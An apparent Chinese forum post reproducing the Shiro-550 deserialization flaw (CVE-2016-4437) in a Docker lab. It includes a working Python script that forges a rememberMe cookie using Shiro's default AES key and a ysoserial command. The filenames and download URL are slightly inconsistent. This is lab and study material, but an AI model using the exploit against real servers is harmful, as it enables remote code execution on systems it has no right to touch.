shiro550

CVE2016-4437

1.漏洞复现

1.进入靶场

image.png

2.随便输入用户名和密码进行抓包,放到重放器里面,点击发送,相应包里看到 rememberMe = deleteMe 字段

image.png

3.利用 shiro 工具爆破密钥和利用链

image.png

4.命令执行

image.png

2.漏洞原理(手工复现)

image.png

下载反序列化利用工具: ysoserial

https:``//jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jarp

生成 playload 代码

#poc.py
import sys
import uuid
import base64
from Crypto.Cipher import AES
  
def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
  
if __name__ == '__main__':
    payload = encode_rememberme()  
    print("rememberMe={0}".format(payload.decode()))

使用 ysoserial 生成 CommonsBeanutils1 的 Gadget:

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.sery

运行 poc.py 生成 playload,并将其替换 Cookie

进入靶场目录

docker ps
docker exec -it 37ec3f93bcf9  /bin/bash
cd /tmp
ls<br>文件已经生成,漏洞成功复现

相关帖子

回帖

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...